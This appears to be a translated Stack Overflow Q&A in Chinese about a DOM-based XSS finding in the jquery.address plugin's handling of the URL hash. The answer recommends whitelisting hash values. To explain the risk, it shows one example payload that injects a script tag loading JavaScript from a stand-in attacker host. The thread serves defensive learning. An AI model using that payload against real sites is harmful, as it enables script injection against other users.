1

我最近在我的站点上运行了安全扫描，其中一个正在使用的 JS 文件被标记为存在 DOM 跨站点脚本问题，我不确定如何修复它。

文件：jquery.address1.4.js

这是被标记的代码部分的脚本：

_supported = 
            (_mozilla && _version >= 1) || 
            (_msie && _version >= 6) ||
            (_opera && _version >= 9.5) ||
            (_webkit && _version >= 523);

        if (_supported) {
            if (_opera) {
                history.navigationMode = 'compatible';
            }
            if (document.readyState == 'complete') {
                var interval = setInterval(function() {
                    if ($.address) {
                        _load();
                        clearInterval(interval);
                    }
                }, 50);
            } else {
                _options();
                $(_load);
            }
            $(window).bind('popstate', _popstate).bind('unload', _unload);            
        } else if (!_supported && _hrefHash() !== '') {
            _l.replace(_l.href.substr(0, _l.href.indexOf('#')));
        } else {
            _track();
        }

代码行是这样的：

_l.replace(_l.href.substr(0, _l.href.indexOf('#')));

扫描告诉我要清理输入，但我不确定它指的是什么，因为我们在网站上没有“输入”。如何修复上述代码以便通过安全扫描？

编辑：这是 _l 的值

_l = _t.location,

从：

_window = function() {
                try {
                    return top.document !== UNDEFINED ? top : window;
                } catch (e) { 
                    return window;
                }
            },

ID = 'jQueryAddress',
            STRING = 'string',
            HASH_CHANGE = 'hashchange',
            INIT = 'init',
            CHANGE = 'change',
            INTERNAL_CHANGE = 'internalChange',
            EXTERNAL_CHANGE = 'externalChange',
            TRUE = true,
            FALSE = false,
            _opts = {
                autoUpdate: TRUE, 
                crawlable: FALSE,
                history: TRUE, 
                strict: TRUE,
                wrap: FALSE
            },
            _browser = $.browser, 
            _version = parseFloat($.browser.version),
            _mozilla = _browser.mozilla,
            _msie = _browser.msie,
            _opera = _browser.opera,
            _webkit = _browser.webkit || _browser.safari,
            _supported = FALSE,
            _t = _window(),
            _d = _t.document,
            _h = _t.history, 
            _l = _t.location,
            _si = setInterval,
            _st = setTimeout,
            _re = /\/{2,9}/g,
            _agent = navigator.userAgent,            
            _frame,
            _form,
            _url = _search(document),
            _qi = _url ? _url.indexOf('?') : -1,
            _title = _d.title, 
            _silent = FALSE,
            _loaded = FALSE,
            _justset = TRUE,
            _juststart = TRUE,
            _updating = FALSE,
            _listeners = {}, 
            _value = _href();
4

1 回答 1

0

此示例中未经处理的值将是从您的 URL 检索到的哈希值。URL 中任何前面的“#”值都应进行清理，以确保攻击者无法在该上下文中提供他们自己的 javascript。

仅仅因为这个值可能不是一个明确的用户提供的“输入”，没有什么可以阻止恶意用户提供如下恶意值：

#"><script src=http://badguy.com/xss.js />

这将在其他用户的上下文中执行。

此示例的有效防御或输入清理将是白名单方法。仅接受 # 的已知值，不允许攻击者可能提供的任何内容。

这是防御基于 DOM 的 XSS 的绝佳资源https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet我建议您通读一遍。

于 2013-03-01T23:46:36.610 回答